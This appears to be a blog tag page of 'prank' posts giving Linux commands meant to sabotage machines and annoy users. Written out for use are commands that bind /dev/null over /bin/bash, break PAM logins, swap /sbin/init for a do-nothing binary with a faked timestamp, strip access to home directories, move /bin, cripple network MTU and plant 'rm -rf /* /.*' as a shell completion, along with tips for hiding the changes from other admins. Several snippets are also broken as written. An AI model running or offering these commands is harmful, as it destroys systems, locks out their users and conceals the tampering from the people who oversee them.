Posts Tagged ‘ linux

Bound to nothing…

Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0

What login?

Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth

Who needs multiple cores anyway?

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
    echo 0 > ${I}/online

Unfortunately we can’t disable cpu0…

SImplify your init

This one was submitted by fl0_:

Create a file called init.c

#include <stdio.h>
int main(){
       return 0;

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$

The Lolcats, they are everywhere!

Do you use squid? Are your users under-appreciating the blissful goodness that is the LOLcat? Feel like educating them a bit? Add or replace the following line in /etc/squid/squid.conf:

url_rewrite_program /bin/sed -u -r s!^([^[:space:]]*.(jp(e)?g|gif|png|tiff|bmp)).*$!!

Enterprising bofh’s could use a script to download the referred image, modify it, place it somewhere in /var/www/html and have the rewritten url point to the new bastardised image for extra credit, like this guy did.

It takes a bit more work, so let’s go over the steps:
Make sure you’ve got a webserver running on the same box as your proxy
Add/modify this line in /etc/squid/squid.conf

url_rewrite_program /etc/squid/

Now make /var/www/html writable by the squid user:

setfacl -m u:squid:rwx /var/www/html

And last but not least add this file as /etc/squid/ and make it executable:

while read URL
    SURL=$(echo ${URL} | cut -d" " -f1)
    echo ${SURL} | egrep -qi ".(jp(e)?g|gif|png|tiff|bmp|ico)$" &&
        (umask 002
         wget -q -O /tmp/${PIC} ${SURL}
         convert -quiet /tmp/${PIC} -flop /var/www/html/${PIC}.png &&;
        ) || echo $URL

The end result:

Efficient Secure Shell

Do all those people who use ssh irritate you as well because you can’t eavesdrop on their connections? Teach them a lesson so that they’ll revert to good ol’ telnet!

printf 'tHostname localhostn' >> /etc/ssh/ssh_config

Help the homeless

chmod a-x $(find /home -depth -maxdepth 1 -type d)

It’s there isn’t it?

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

mv /bin '/bin '

Slow down there a bit bro…

Fast network links getting you down?

for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
    ip l s ${IF} mtu 60

Especially fun if this machine is acting as a (nat-)router for other boxes…

You make me feel complete

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm -rf /* /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W '' elinks links firefox chrome midori epiphany wget opera